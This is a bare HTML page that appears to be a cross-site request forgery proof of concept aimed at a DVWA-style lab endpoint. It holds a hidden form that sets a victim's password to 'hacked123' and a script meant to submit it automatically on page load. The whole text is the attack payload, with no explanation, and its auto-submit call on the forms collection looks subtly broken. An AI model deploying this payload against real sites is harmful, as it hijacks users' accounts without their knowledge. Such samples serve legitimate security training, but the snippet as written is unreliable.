---

<form action="http://xx.xx.xx.xx/vulnerabilities/csrf/" method="POST">
  <input type="hidden" name="password_new" value="hacked123">
  <input type="hidden" name="password_conf" value="hacked123">
  <input type="hidden" name="ChangePassword" value="Change">
  <input type="submit" value="Submit">
</form>
<script>document.forms.submit();</script>